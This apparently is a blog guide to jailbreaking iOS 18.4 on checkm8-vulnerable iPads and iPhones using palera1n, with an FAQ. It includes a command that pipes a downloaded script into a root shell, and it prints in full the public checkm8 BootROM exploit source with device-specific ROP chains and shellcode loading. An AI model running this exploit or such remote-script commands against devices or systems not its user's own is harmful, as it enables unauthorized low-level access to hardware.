If you want to jailbreak iOS 18.4 and install tweaks / themes on your iPhone or iPad, the options are highly dependent on what kind of device you use.
Since Apple has stepped up its security quite a lot ever since iOS 15, the most jailbreakable devices remain the checkm8-vulnerable ones, so pretty much all the devices featuring pre-A12 CPUs.
If you are looking to jailbreak iOS 18.0 – 18.2.1 instead, check out this article. For iOS 18.4 users, I recommend the PaleRa1n jailbreak, having used it extensively in the past 2 years on my iPad 7th Generation without any major issues. Most tweaks that I’ve tested seem to be working reliably with the rootless jailbreak paradigm by now.
Is it possible to jailbreak iOS 18.4 or iPadOS 18.4 in 2025?
Yes, it is possible, but it highly depends on what device you are using. Due to the security changes on iOS, jailbreaks for the newest, most modern Apple devices are released less often and usually support several versions behind.
There are certain devices that can be jailbroken on iOS 17 all the way up to iOS 18.4 with tweaks, themes, and Sileo Package Manager fully functional, but not a lot of devices can be jailbroken reliably.
The best device to have in 2025 if you are into jailbreaking is the iPad 7th Generation. It supports the latest iOS 18 in the form of iPadOS 18.4, and it’s also vulnerable to the checkm8 exploit released as part of ipwndfu by developer axi0mX.
This makes the iPad 7th Generation jailbreakable for as long as it receives new updates because the checkm8 exploit cannot be patched.


How to jailbreak iOS 18.4 – Full Guide
To jailbreak your iPhone or iPad on iOS 18.4 using the PaleRa1n Jailbreak, you can follow the steps below. This will ensure a smooth jailbreak process as long as all steps are followed in order.
It’s important to mention that the PaleRa1n jailbreak only supports Linux or macOS officially. No Windows version of PaleRa1n exists, at least not officially. For Windows users, the solution tends to be using a LiveCD with Linux, or preferably palen1x, which is a pre-made Linux Live CD with palera1n integrated.
Once you have everything in place, follow the steps below to jailbreak iOS 18.4.
- Plug in your device via the USB cable and make sure the device is unlocked and the computer is trusted.
- Open a Terminal window (on macOS, you can find it in the Launchpad -> Other).
- Copy and paste the following command in Terminal and press Enter:
sudo /bin/sh -c "$(curl -fsSL https://static.palera.in/scripts/install.sh)"
- Once it finishes executing, run this command in Terminal: palera1n

Once PaleRa1n jailbreak is installed on your iOS device, reconnect the device to your computer using the USB cable and follow the steps below to complete the jailbreak process.
- In Terminal, run the following command palera1n -l and press enter. That is a lowercase L.
- Optional step: If you are trying to run the palera1n binary manually, you may need to run
xattr -c /path/for/palera1n
/binary to make Gatekeeper happy on Mac. - The device will eventually reboot in Recovery Mode, displaying a power cable and a laptop on the screen.
- Press Enter and follow the instructions in the Terminal to put the device in DFU (Device Firmware Upgrade) Mode.
- Once in DFU mode, the jailbreak will detect the device, and the process will begin automatically.

As the jailbreak processes, you may see a verbose boot screen with a lot of scrolling text and the checkm8 logo overlayed on the screen. There is no need for user input at this stage; just keep the device connected.
The device will eventually boot to the home screen, and you should be able to find the PaleRa1n app installed there.
Open the PaleRa1n application and install either the Sileo Package Manager or Zebra Package Manager. You will be asked to set a sudo password. Make sure you remember it.
That’s about all it takes to jailbreak iOS 18.4 if you have a compatible, checkm8-vulnerable device such as the iPad 7th Generation.
Remember, PaleRa1n jailbreak doesn’t work and will never work on anything newer than the A11 chip, so only iPhone X and older models are supported.
If you are curious about the checkm8 exploit source code, you can find it below:
import array, ctypes, struct, sys, time
import usb
import dfu
# Must be global so garbage collector never frees it
request = None
transfer_ptr = None
never_free_device = None
def libusb1_create_ctrl_transfer(device, request, timeout):
ptr = usb.backend.libusb1._lib.libusb_alloc_transfer(0)
assert ptr is not None
transfer = ptr.contents
transfer.dev_handle = device._ctx.handle.handle
transfer.endpoint = 0 # EP0
transfer.type = 0 # LIBUSB_TRANSFER_TYPE_CONTROL
transfer.timeout = timeout
transfer.buffer = request.buffer_info()[0] # C-pointer to request buffer
transfer.length = len(request)
transfer.user_data = None
transfer.callback = usb.backend.libusb1._libusb_transfer_cb_fn_p(0) # NULL
transfer.flags = 1 << 1 # LIBUSB_TRANSFER_FREE_BUFFER
return ptr
def libusb1_async_ctrl_transfer(device, bmRequestType, bRequest, wValue, wIndex, data, timeout):
if usb.backend.libusb1._lib is not device._ctx.backend.lib:
print 'ERROR: This exploit requires libusb1 backend, but another backend is being used. Exiting.'
sys.exit(1)
global request, transfer_ptr, never_free_device
request_timeout = int(timeout) if timeout >= 1 else 0
start = time.time()
never_free_device = device
request = array.array('B', struct.pack('<BBHHH', bmRequestType, bRequest, wValue, wIndex, len(data)) + data)
transfer_ptr = libusb1_create_ctrl_transfer(device, request, request_timeout)
assert usb.backend.libusb1._lib.libusb_submit_transfer(transfer_ptr) == 0
while time.time() - start < timeout / 1000.0:
pass
# Prototype of libusb_cancel_transfer is missing from pyusb
usb.backend.libusb1._lib.libusb_cancel_transfer.argtypes = [ctypes.POINTER(usb.backend.libusb1._libusb_transfer)]
assert usb.backend.libusb1._lib.libusb_cancel_transfer(transfer_ptr) == 0
def libusb1_no_error_ctrl_transfer(device, bmRequestType, bRequest, wValue, wIndex, data_or_wLength, timeout):
try:
device.ctrl_transfer(bmRequestType, bRequest, wValue, wIndex, data_or_wLength, timeout)
except usb.core.USBError:
pass
def usb_rop_callbacks(address, func_gadget, callbacks):
data = ''
for i in range(0, len(callbacks), 5):
block1 = ''
block2 = ''
for j in range(5):
address += 0x10
if j == 4:
address += 0x50
if i + j < len(callbacks) - 1:
block1 += struct.pack('<2Q', func_gadget, address)
block2 += struct.pack('<2Q', callbacks[i+j][1], callbacks[i+j][0])
elif i + j == len(callbacks) - 1:
block1 += struct.pack('<2Q', func_gadget, 0)
block2 += struct.pack('<2Q', callbacks[i+j][1], callbacks[i+j][0])
else:
block1 += struct.pack('<2Q', 0, 0)
data += block1 + block2
return data
# TODO: assert we are within limits
def asm_arm64_branch(src, dest):
if src > dest:
value = 0x18000000 - (src - dest) / 4
else:
value = 0x14000000 + (dest - src) / 4
return struct.pack('<I', value)
# TODO: check if start offset % 4 would break it
# LDR X7, [PC, #OFFSET]; BR X7
def asm_arm64_x7_trampoline(dest):
return '47000058E0001FD6'.decode('hex') + struct.pack('<Q', dest)
# THUMB +0 [0xF000F8DF, ADDR] LDR.W PC, [PC]
# THUMB +2 [0xF002F8DF, ADDR] LDR.W PC, [PC, #2]
def asm_thumb_trampoline(src, dest):
assert src % 2 == 1 and dest % 2 == 1
if src % 4 == 1:
return struct.pack('<2I', 0xF000F8DF, dest)
else:
return struct.pack('<2I', 0xF002F8DF, dest)
def prepare_shellcode(name, constants=[]):
if name.endswith('_armv7'):
fmt = '<%sI'
size = 4
elif name.endswith('_arm64'):
fmt = '<%sQ'
size = 8
else:
print 'ERROR: Shellcode name "%s" does not end with known architecture. Exiting.' % name
sys.exit(1)
with open('bin/%s.bin' % name, 'rb') as f:
shellcode = f.read()
# Shellcode has placeholder values for constants; check they match and replace with constants from config
placeholders_offset = len(shellcode) - size * len(constants)
for i in range(len(constants)):
offset = placeholders_offset + size * i
(value,) = struct.unpack(fmt % '1', shellcode[offset:offset + size])
assert value == 0xBAD00001 + i
return shellcode[:placeholders_offset] + struct.pack(fmt % len(constants), *constants)
def stall(device): libusb1_async_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 'A' * 0xC0, 0.00001)
def leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC0, 1)
def no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC1, 1)
def usb_req_stall(device): libusb1_no_error_ctrl_transfer(device, 0x2, 3, 0x0, 0x80, 0x0, 10)
def usb_req_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0x40, 1)
def usb_req_no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0x41, 1)
class DeviceConfig:
def __init__(self, version, cpid, large_leak, overwrite, hole, leak):
assert len(overwrite) <= 0x800
self.version = version
self.cpid = cpid
self.large_leak = large_leak
self.overwrite = overwrite
self.hole = hole
self.leak = leak
PAYLOAD_OFFSET_ARMV7 = 384
PAYLOAD_SIZE_ARMV7 = 320
PAYLOAD_OFFSET_ARM64 = 384
PAYLOAD_SIZE_ARM64 = 576
def payload(cpid):
if cpid == 0x8947:
constants_usb_s5l8947x = [
0x34000000, # 1 - LOAD_ADDRESS
0x65786563, # 2 - EXEC_MAGIC
0x646F6E65, # 3 - DONE_MAGIC
0x6D656D63, # 4 - MEMC_MAGIC
0x6D656D73, # 5 - MEMS_MAGIC
0x79EC+1, # 6 - USB_CORE_DO_IO
]
constants_checkm8_s5l8947x = [
0x3402D87C, # 1 - gUSBDescriptors
0x3402DDF8, # 2 - gUSBSerialNumber
0x72A8+1, # 3 - usb_create_string_descriptor
0x3402C2DA, # 4 - gUSBSRNMStringDescriptor
0x34039800, # 5 - PAYLOAD_DEST
PAYLOAD_OFFSET_ARMV7, # 6 - PAYLOAD_OFFSET
PAYLOAD_SIZE_ARMV7, # 7 - PAYLOAD_SIZE
0x3402D92C, # 8 - PAYLOAD_PTR
]
s5l8947x_handler = asm_thumb_trampoline(0x34039800+1, 0x7BC8+1) + prepare_shellcode('usb_0xA1_2_armv7', constants_usb_s5l8947x)[8:]
s5l8947x_shellcode = prepare_shellcode('checkm8_armv7', constants_checkm8_s5l8947x)
assert len(s5l8947x_shellcode) <= PAYLOAD_OFFSET_ARMV7
assert len(s5l8947x_handler) <= PAYLOAD_SIZE_ARMV7
return s5l8947x_shellcode + '\0' * (PAYLOAD_OFFSET_ARMV7 - len(s5l8947x_shellcode)) + s5l8947x_handler
if cpid == 0x8950:
constants_usb_s5l8950x = [
0x10000000, # 1 - LOAD_ADDRESS
0x65786563, # 2 - EXEC_MAGIC
0x646F6E65, # 3 - DONE_MAGIC
0x6D656D63, # 4 - MEMC_MAGIC
0x6D656D73, # 5 - MEMS_MAGIC
0x7620+1, # 6 - USB_CORE_DO_IO
]
constants_checkm8_s5l8950x = [
0x10061988, # 1 - gUSBDescriptors
0x10061F80, # 2 - gUSBSerialNumber
0x7C54+1, # 3 - usb_create_string_descriptor
0x100600D8, # 4 - gUSBSRNMStringDescriptor
0x10079800, # 5 - PAYLOAD_DEST
PAYLOAD_OFFSET_ARMV7, # 6 - PAYLOAD_OFFSET
PAYLOAD_SIZE_ARMV7, # 7 - PAYLOAD_SIZE
0x10061A24, # 8 - PAYLOAD_PTR
]
s5l8950x_handler = asm_thumb_trampoline(0x10079800+1, 0x8160+1) + prepare_shellcode('usb_0xA1_2_armv7', constants_usb_s5l8950x)[8:]
s5l8950x_shellcode = prepare_shellcode('checkm8_armv7', constants_checkm8_s5l8950x)
assert len(s5l8950x_shellcode) <= PAYLOAD_OFFSET_ARMV7
assert len(s5l8950x_handler) <= PAYLOAD_SIZE_ARMV7
return s5l8950x_shellcode + '\0' * (PAYLOAD_OFFSET_ARMV7 - len(s5l8950x_shellcode)) + s5l8950x_handler
if cpid == 0x8955:
constants_usb_s5l8955x = [
0x10000000, # 1 - LOAD_ADDRESS
0x65786563, # 2 - EXEC_MAGIC
0x646F6E65, # 3 - DONE_MAGIC
0x6D656D63, # 4 - MEMC_MAGIC
0x6D656D73, # 5 - MEMS_MAGIC
0x7660+1, # 6 - USB_CORE_DO_IO
]
constants_checkm8_s5l8955x = [
0x10061988, # 1 - gUSBDescriptors
0x10061F80, # 2 - gUSBSerialNumber
0x7C94+1, # 3 - usb_create_string_descriptor
0x100600D8, # 4 - gUSBSRNMStringDescriptor
0x10079800, # 5 - PAYLOAD_DEST
PAYLOAD_OFFSET_ARMV7, # 6 - PAYLOAD_OFFSET
PAYLOAD_SIZE_ARMV7, # 7 - PAYLOAD_SIZE
0x10061A24, # 8 - PAYLOAD_PTR
]
s5l8955x_handler = asm_thumb_trampoline(0x10079800+1, 0x81A0+1) + prepare_shellcode('usb_0xA1_2_armv7', constants_usb_s5l8955x)[8:]
s5l8955x_shellcode = prepare_shellcode('checkm8_armv7', constants_checkm8_s5l8955x)
assert len(s5l8955x_shellcode) <= PAYLOAD_OFFSET_ARMV7
assert len(s5l8955x_handler) <= PAYLOAD_SIZE_ARMV7
return s5l8955x_shellcode + '\0' * (PAYLOAD_OFFSET_ARMV7 - len(s5l8955x_shellcode)) + s5l8955x_handler
if cpid == 0x8960:
constants_usb_s5l8960x = [
0x180380000, # 1 - LOAD_ADDRESS
0x6578656365786563, # 2 - EXEC_MAGIC
0x646F6E65646F6E65, # 3 - DONE_MAGIC
0x6D656D636D656D63, # 4 - MEMC_MAGIC
0x6D656D736D656D73, # 5 - MEMS_MAGIC
0x10000CC78, # 6 - USB_CORE_DO_IO
]
constants_checkm8_s5l8960x = [
0x180086B58, # 1 - gUSBDescriptors
0x180086CDC, # 2 - gUSBSerialNumber
0x10000BFEC, # 3 - usb_create_string_descriptor
0x180080562, # 4 - gUSBSRNMStringDescriptor
0x18037FC00, # 5 - PAYLOAD_DEST
PAYLOAD_OFFSET_ARM64, # 6 - PAYLOAD_OFFSET
PAYLOAD_SIZE_ARM64, # 7 - PAYLOAD_SIZE
0x180086C70, # 8 - PAYLOAD_PTR
]
s5l8960x_handler = asm_arm64_x7_trampoline(0x10000CFB4) + asm_arm64_branch(0x10, 0x0) + prepare_shellcode('usb_0xA1_2_arm64', constants_usb_s5l8960x)[4:]
s5l8960x_shellcode = prepare_shellcode('checkm8_arm64', constants_checkm8_s5l8960x)
assert len(s5l8960x_shellcode) <= PAYLOAD_OFFSET_ARM64
assert len(s5l8960x_handler) <= PAYLOAD_SIZE_ARM64
return s5l8960x_shellcode + '\0' * (PAYLOAD_OFFSET_ARM64 - len(s5l8960x_shellcode)) + s5l8960x_handler
if cpid == 0x8002:
constants_usb_t8002 = [
0x48818000, # 1 - LOAD_ADDRESS
0x65786563, # 2 - EXEC_MAGIC
0x646F6E65, # 3 - DONE_MAGIC
0x6D656D63, # 4 - MEMC_MAGIC
0x6D656D73, # 5 - MEMS_MAGIC
0x9410+1, # 6 - USB_CORE_DO_IO
]
constants_checkm8_t8002 = [
0x4880629C, # 1 - gUSBDescriptors
0x48802AB8, # 2 - gUSBSerialNumber
0x8CA4+1, # 3 - usb_create_string_descriptor
0x4880037A, # 4 - gUSBSRNMStringDescriptor
0x48806E00, # 5 - PAYLOAD_DEST
PAYLOAD_OFFSET_ARMV7, # 6 - PAYLOAD_OFFSET
PAYLOAD_SIZE_ARMV7, # 7 - PAYLOAD_SIZE
0x48806344, # 8 - PAYLOAD_PTR
]
t8002_handler = asm_thumb_trampoline(0x48806E00+1, 0x95F0+1) + prepare_shellcode('usb_0xA1_2_armv7', constants_usb_t8002)[8:]
t8002_shellcode = prepare_shellcode('checkm8_armv7', constants_checkm8_t8002)
assert len(t8002_shellcode) <= PAYLOAD_OFFSET_ARMV7
assert len(t8002_handler) <= PAYLOAD_SIZE_ARMV7
return t8002_shellcode + '\0' * (PAYLOAD_OFFSET_ARMV7 - len(t8002_shellcode)) + t8002_handler
if cpid == 0x8004:
constants_usb_t8004 = [
0x48818000, # 1 - LOAD_ADDRESS
0x65786563, # 2 - EXEC_MAGIC
0x646F6E65, # 3 - DONE_MAGIC
0x6D656D63, # 4 - MEMC_MAGIC
0x6D656D73, # 5 - MEMS_MAGIC
0x85A0+1, # 6 - USB_CORE_DO_IO
]
constants_checkm8_t8004 = [
0x488062DC, # 1 - gUSBDescriptors
0x48802AE8, # 2 - gUSBSerialNumber
0x7E34+1, # 3 - usb_create_string_descriptor
0x488003CA, # 4 - gUSBSRNMStringDescriptor
0x48806E00, # 5 - PAYLOAD_DEST
PAYLOAD_OFFSET_ARMV7, # 6 - PAYLOAD_OFFSET
PAYLOAD_SIZE_ARMV7, # 7 - PAYLOAD_SIZE
0x48806384, # 8 - PAYLOAD_PTR
]
t8004_handler = asm_thumb_trampoline(0x48806E00+1, 0x877C+1) + prepare_shellcode('usb_0xA1_2_armv7', constants_usb_t8004)[8:]
t8004_shellcode = prepare_shellcode('checkm8_armv7', constants_checkm8_t8004)
assert len(t8004_shellcode) <= PAYLOAD_OFFSET_ARMV7
assert len(t8004_handler) <= PAYLOAD_SIZE_ARMV7
return t8004_shellcode + '\0' * (PAYLOAD_OFFSET_ARMV7 - len(t8004_shellcode)) + t8004_handler
if cpid == 0x8010:
constants_usb_t8010 = [
0x1800B0000, # 1 - LOAD_ADDRESS
0x6578656365786563, # 2 - EXEC_MAGIC
0x646F6E65646F6E65, # 3 - DONE_MAGIC
0x6D656D636D656D63, # 4 - MEMC_MAGIC
0x6D656D736D656D73, # 5 - MEMS_MAGIC
0x10000DC98, # 6 - USB_CORE_DO_IO
]
constants_checkm8_t8010 = [
0x180088A30, # 1 - gUSBDescriptors
0x180083CF8, # 2 - gUSBSerialNumber
0x10000D150, # 3 - usb_create_string_descriptor
0x1800805DA, # 4 - gUSBSRNMStringDescriptor
0x1800AFC00, # 5 - PAYLOAD_DEST
PAYLOAD_OFFSET_ARM64, # 6 - PAYLOAD_OFFSET
PAYLOAD_SIZE_ARM64, # 7 - PAYLOAD_SIZE
0x180088B48, # 8 - PAYLOAD_PTR
]
t8010_func_gadget = 0x10000CC4C
t8010_enter_critical_section = 0x10000A4B8
t8010_exit_critical_section = 0x10000A514
t8010_dc_civac = 0x10000046C
t8010_write_ttbr0 = 0x1000003E4
t8010_tlbi = 0x100000434
t8010_dmb = 0x100000478
t8010_handle_interface_request = 0x10000DFB8
t8010_callbacks = [
(t8010_dc_civac, 0x1800B0600),
(t8010_dmb, 0),
(t8010_enter_critical_section, 0),
(t8010_write_ttbr0, 0x1800B0000),
(t8010_tlbi, 0),
(0x1820B0610, 0),
(t8010_write_ttbr0, 0x1800A0000),
(t8010_tlbi, 0),
(t8010_exit_critical_section, 0),
(0x1800B0000, 0),
]
t8010_handler = asm_arm64_x7_trampoline(t8010_handle_interface_request) + asm_arm64_branch(0x10, 0x0) + prepare_shellcode('usb_0xA1_2_arm64', constants_usb_t8010)[4:]
t8010_shellcode = prepare_shellcode('checkm8_arm64', constants_checkm8_t8010)
assert len(t8010_shellcode) <= PAYLOAD_OFFSET_ARM64
assert len(t8010_handler) <= PAYLOAD_SIZE_ARM64
t8010_shellcode = t8010_shellcode + '\0' * (PAYLOAD_OFFSET_ARM64 - len(t8010_shellcode)) + t8010_handler
assert len(t8010_shellcode) <= 0x400
return struct.pack('<1024sQ504x2Q496s32x', t8010_shellcode, 0x1000006A5, 0x60000180000625, 0x1800006A5, prepare_shellcode('t8010_t8011_disable_wxn_arm64')) + usb_rop_callbacks(0x1800B0800, t8010_func_gadget, t8010_callbacks)
if cpid == 0x8011:
constants_usb_t8011 = [
0x1800B0000, # 1 - LOAD_ADDRESS
0x6578656365786563, # 2 - EXEC_MAGIC
0x646F6E65646F6E65, # 3 - DONE_MAGIC
0x6D656D636D656D63, # 4 - MEMC_MAGIC
0x6D656D736D656D73, # 5 - MEMS_MAGIC
0x10000DD64, # 6 - USB_CORE_DO_IO
]
constants_checkm8_t8011 = [
0x180088948, # 1 - gUSBDescriptors
0x180083D28, # 2 - gUSBSerialNumber
0x10000D234, # 3 - usb_create_string_descriptor
0x18008062A, # 4 - gUSBSRNMStringDescriptor
0x1800AFC00, # 5 - PAYLOAD_DEST
PAYLOAD_OFFSET_ARM64, # 6 - PAYLOAD_OFFSET
PAYLOAD_SIZE_ARM64, # 7 - PAYLOAD_SIZE
0x180088A58, # 8 - PAYLOAD_PTR
]
t8011_func_gadget = 0x10000CCEC
t8011_dc_civac = 0x10000047C
t8011_write_ttbr0 = 0x1000003F4
t8011_tlbi = 0x100000444
t8011_dmb = 0x100000488
t8011_handle_interface_request = 0x10000E08C
t8011_callbacks = [
(t8011_dc_civac, 0x1800B0600),
(t8011_dc_civac, 0x1800B0000),
(t8011_dmb, 0),
(t8011_write_ttbr0, 0x1800B0000),
(t8011_tlbi, 0),
(0x1820B0610, 0),
(t8011_write_ttbr0, 0x1800A0000),
(t8011_tlbi, 0),
(0x1800B0000, 0),
]
t8011_handler = asm_arm64_x7_trampoline(t8011_handle_interface_request) + asm_arm64_branch(0x10, 0x0) + prepare_shellcode('usb_0xA1_2_arm64', constants_usb_t8011)[4:]
t8011_shellcode = prepare_shellcode('checkm8_arm64', constants_checkm8_t8011)
assert len(t8011_shellcode) <= PAYLOAD_OFFSET_ARM64
assert len(t8011_handler) <= PAYLOAD_SIZE_ARM64
t8011_shellcode = t8011_shellcode + '\0' * (PAYLOAD_OFFSET_ARM64 - len(t8011_shellcode)) + t8011_handler
assert len(t8011_shellcode) <= 0x400
return struct.pack('<1024sQ504x2Q496s32x', t8011_shellcode, 0x1000006A5, 0x60000180000625, 0x1800006A5, prepare_shellcode('t8010_t8011_disable_wxn_arm64')) + usb_rop_callbacks(0x1800B0800, t8011_func_gadget, t8011_callbacks)
if cpid == 0x8015:
constants_usb_t8015 = [
0x18001C000, # 1 - LOAD_ADDRESS
0x6578656365786563, # 2 - EXEC_MAGIC
0x646F6E65646F6E65, # 3 - DONE_MAGIC
0x6D656D636D656D63, # 4 - MEMC_MAGIC
0x6D656D736D656D73, # 5 - MEMS_MAGIC
0x10000B9A8, # 6 - USB_CORE_DO_IO
]
constants_checkm8_t8015 = [
0x180008528, # 1 - gUSBDescriptors
0x180003A78, # 2 - gUSBSerialNumber
0x10000AE80, # 3 - usb_create_string_descriptor
0x1800008FA, # 4 - gUSBSRNMStringDescriptor
0x18001BC00, # 5 - PAYLOAD_DEST
PAYLOAD_OFFSET_ARM64, # 6 - PAYLOAD_OFFSET
PAYLOAD_SIZE_ARM64, # 7 - PAYLOAD_SIZE
0x180008638, # 8 - PAYLOAD_PTR
]
t8015_load_write_gadget = 0x10000945C
t8015_write_sctlr_gadget = 0x1000003EC
t8015_func_gadget = 0x10000A9AC
t8015_write_ttbr0 = 0x10000045C
t8015_tlbi = 0x1000004AC
t8015_dc_civac = 0x1000004D0
t8015_dmb = 0x1000004F0
t8015_handle_interface_request = 0x10000BCCC
t8015_callbacks = [
(t8015_dc_civac, 0x18001C800),
(t8015_dc_civac, 0x18001C840),
(t8015_dc_civac, 0x18001C880),
(t8015_dmb, 0),
(t8015_write_sctlr_gadget, 0x100D),
(t8015_load_write_gadget, 0x18001C000),
(t8015_load_write_gadget, 0x18001C010),
(t8015_write_ttbr0, 0x180020000),
(t8015_tlbi, 0),
(t8015_load_write_gadget, 0x18001C020),
(t8015_write_ttbr0, 0x18000C000),
(t8015_tlbi, 0),
(0x18001C800, 0),
]
t8015_callback_data = usb_rop_callbacks(0x18001C020, t8015_func_gadget, t8015_callbacks)
t8015_handler = asm_arm64_x7_trampoline(t8015_handle_interface_request) + asm_arm64_branch(0x10, 0x0) + prepare_shellcode('usb_0xA1_2_arm64', constants_usb_t8015)[4:]
t8015_shellcode = prepare_shellcode('checkm8_arm64', constants_checkm8_t8015)
assert len(t8015_shellcode) <= PAYLOAD_OFFSET_ARM64
assert len(t8015_handler) <= PAYLOAD_SIZE_ARM64
t8015_shellcode = t8015_shellcode + '\0' * (PAYLOAD_OFFSET_ARM64 - len(t8015_shellcode)) + t8015_handler
return struct.pack('<6Q16x448s1536x1024s', 0x180020400-8, 0x1000006A5, 0x180020600-8, 0x180000625, 0x18000C600-8, 0x180000625, t8015_callback_data, t8015_shellcode)
def all_exploit_configs():
t8010_nop_gadget = 0x10000CC6C
t8011_nop_gadget = 0x10000CD0C
t8015_nop_gadget = 0x10000A9C4
s5l8947x_overwrite = '\0' * 0x660 + struct.pack('<20xI4x', 0x34000000)
s5l895xx_overwrite = '\0' * 0x640 + struct.pack('<20xI4x', 0x10000000)
t800x_overwrite = '\0' * 0x5C0 + struct.pack('<20xI4x', 0x48818000)
s5l8960x_overwrite = '\0' * 0x580 + struct.pack('<32xQ8x', 0x180380000)
t8010_overwrite = '\0' * 0x580 + struct.pack('<32x2Q16x32x2QI', t8010_nop_gadget, 0x1800B0800, t8010_nop_gadget, 0x1800B0800, 0xbeefbeef)
t8011_overwrite = '\0' * 0x500 + struct.pack('<32x2Q16x32x2QI', t8011_nop_gadget, 0x1800B0800, t8011_nop_gadget, 0x1800B0800, 0xbeefbeef)
t8015_overwrite = '\0' * 0x500 + struct.pack('<32x2Q16x32x2Q12xI', t8015_nop_gadget, 0x18001C020, t8015_nop_gadget, 0x18001C020, 0xbeefbeef)
return [
DeviceConfig('iBoot-1458.2', 0x8947, 626, s5l8947x_overwrite, None, None), # S5L8947 (DFU loop) 1.97 seconds
DeviceConfig('iBoot-1145.3' , 0x8950, 659, s5l895xx_overwrite, None, None), # S5L8950 (buttons) 2.30 seconds
DeviceConfig('iBoot-1145.3.3', 0x8955, 659, s5l895xx_overwrite, None, None), # S5L8955 (buttons) 2.30 seconds
DeviceConfig('iBoot-1704.10', 0x8960, 7936, s5l8960x_overwrite, None, None), # S5L8960 (buttons) 13.97 seconds
DeviceConfig('iBoot-2651.0.0.1.31', 0x8002, None, t800x_overwrite, 5, 1), # T8002 (DFU loop) NEW: 1.27 seconds
DeviceConfig('iBoot-2651.0.0.3.3', 0x8004, None, t800x_overwrite, 5, 1), # T8004 (buttons) NEW: 1.06 seconds
DeviceConfig('iBoot-2696.0.0.1.33', 0x8010, None, t8010_overwrite, 5, 1), # T8010 (buttons) NEW: 0.68 seconds
DeviceConfig('iBoot-3135.0.0.2.3', 0x8011, None, t8011_overwrite, 6, 1), # T8011 (buttons) NEW: 0.87 seconds
DeviceConfig('iBoot-3332.0.0.1.23', 0x8015, None, t8015_overwrite, 6, 1), # T8015 (DFU loop) NEW: 0.66 seconds
]
def exploit_config(serial_number):
for config in all_exploit_configs():
if 'SRTG:[%s]' % config.version in serial_number:
return payload(config.cpid), config
for config in all_exploit_configs():
if 'CPID:%s' % config.cpid in serial_number:
print 'ERROR: CPID is compatible, but serial number string does not match.'
print 'Make sure device is in SecureROM DFU Mode and not LLB/iBSS DFU Mode. Exiting.'
sys.exit(1)
print 'ERROR: This is not a compatible device. Exiting.'
sys.exit(1)
def exploit():
print '*** checkm8 exploit by axi0mX ***'
device = dfu.acquire_device()
start = time.time()
print 'Found:', device.serial_number
if 'PWND:[' in device.serial_number:
print 'Device is already in pwned DFU Mode. Not executing exploit.'
return
payload, config = exploit_config(device.serial_number)
if config.large_leak is not None:
usb_req_stall(device)
for i in range(config.large_leak):
usb_req_leak(device)
usb_req_no_leak(device)
else:
stall(device)
for i in range(config.hole):
no_leak(device)
usb_req_leak(device)
no_leak(device)
dfu.usb_reset(device)
dfu.release_device(device)
device = dfu.acquire_device()
device.serial_number
libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001)
libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
dfu.release_device(device)
time.sleep(0.5)
device = dfu.acquire_device()
usb_req_stall(device)
if config.large_leak is not None:
usb_req_leak(device)
else:
for i in range(config.leak):
usb_req_leak(device)
libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, config.overwrite, 100)
for i in range(0, len(payload), 0x800):
libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 100)
dfu.usb_reset(device)
dfu.release_device(device)
device = dfu.acquire_device()
if 'PWND:[checkm8]' not in device.serial_number:
print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.'
sys.exit(1)
print 'Device is now in pwned DFU Mode.'
print '(%0.2f seconds)' % (time.time() - start)
dfu.release_device(device)
That’s the famous checkm8 exploit released by developer axi0mX in 2019. This was a huge release because BootROM or SecureROM iOS exploits cannot be patched by Apple without a new hardware revision, so devices vulnerable to it will remain vulnerable, and, thus, jailbreakable forever.
Frequently Asked Questions
Can I jailbreak iOS 18.4 using Unc0ver Black Edition?
No. The Unc0ver Black Edition is a fake jailbreak boasted by several fake jailbreak websites to attract traffic. The real Unc0ver jailbreak is neither black nor does it support iOS 18. It works only up to iOS 14.8.
Is jailbreaking iOS reversible?
Yes. Jailbreaks like PaleRa1n have a built-in button to restore the system back to stock iOS; however, even without that, you can simply reinstall iOS using a computer via the erase-restore mode (make a backup first), and that will erase all traces of the jailbreak.
Can I jailbreak iOS 18.4 on iPhone 16?
Not at the moment. The method detailed in this guide supports only certain devices that happen to be compatible with the checkm8 exploit. iPhone 16 as well as the iPhone 16e, are not compatible, so a new exploit would be necessary.
Is jailbreaking legal?
This depends on your local laws, but in the United States, jailbreaking your iOS device is legal thanks to several DMCA exemptions, one in 2012 making iPhone jailbreaking legal and the other in 2015 making iPad jailbreaking legal.
Can I jailbreak rootful in 2025?
Several rootful (classic, pre-iOS 15) jailbreak tools still exist in 2025. Notably, PaleRa1n still supports jailbreak rootful, but it’s a deprecated legacy mode, and the team does not recommend using it.
Several tweaks are still rootful only, but it’s not worth the hassle. Rootless jailbreaks were developed because in iOS 15, Apple introduced a security feature called SSV, which seals the Root File System. Attempting to modify it bricks the device.
More iDevice Central Guides
- iOS 17 Jailbreak RELEASED! How to Jailbreak iOS 17 with PaleRa1n
- How to Jailbreak iOS 18.0 – iOS 18.2.1 / iOS 18.3 With Tweaks
- Download iRemovalRa1n Jailbreak (CheckRa1n for Windows)
- Dopamine Jailbreak (Fugu15 Max) Release Is Coming Soon for iOS 15.0 – 15.4.1 A12+
- Cowabunga Lite For iOS 16.2 – 16.4 Released in Beta! Install Tweaks and Themes Without Jailbreak
- Fugu15 Max Jailbreak: All Confirmed Working Rootless Tweaks List
- iOS 14.0 – 16.1.2 – All MacDirtyCow Tools IPAs
- iOS Jailbreak Tools for All iOS Versions
Leave a Reply
You must be logged in to post a comment.